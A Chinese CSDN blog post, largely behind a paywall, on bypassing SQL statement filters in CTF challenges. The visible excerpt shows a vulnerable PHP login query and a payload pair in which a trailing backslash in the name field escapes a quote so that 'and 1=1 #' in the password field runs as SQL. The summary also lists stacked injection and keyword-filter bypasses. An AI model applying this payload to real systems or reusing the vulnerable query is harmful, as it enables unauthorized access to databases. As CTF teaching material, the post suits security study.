[ctf sql]绕过对sql语句过滤

最新推荐文章于 2024-07-18 15:45:25 发布

捞氘河水怪

最新推荐文章于 2024-07-18 15:45:25 发布

阅读量640

点赞数

分类专栏： ctf sql注入 MySQL 文章标签： sql 数据库 mysql

本文链接：https://blog.csdn.net/qq_37301470/article/details/121292720

版权

本文探讨了如何在CTF比赛中绕过SQL语句过滤的策略，包括单引号的逃逸、堆叠注入、空格过滤、SELECT关键字过滤以及对IN/OR和UNION操作的过滤。还提到了MySQL 5.7中新增的sys数据库，它与information_schema类似，可以用于构造查询。同时介绍了利用比较法进行SQL注入的技巧。

摘要由CSDN通过智能技术生成

过滤

过滤单引号
逃逸出攻击语句

php语句
sql=select * form users where username='$POST["name"]' and password ='$_POST["pwd"]';
如果能同时传值给name和pwd
那么
name=admin\
pwd= and 1=1 #
拼接后
sql= select * form users where username='admin\' and password ='and 1=1 #';
成功令后一个pwd的引号与name的引号闭合
逃逸出攻击语句

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

捞氘河水怪

关注关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
[ctf sql]绕过对sql语句过滤

过滤过滤单引号逃逸出攻击语句php语句sql=select * form users where username='$POST["name"]' and password ='$_POST["pwd"]';如果能同时传值给name和pwd那么name=admin\pwd= and 1=1 #拼接后sql= select * form users where username='admin\' and password ='and 1=1 #';成功令后一个pwd的引号与name的引
复制链接

扫一扫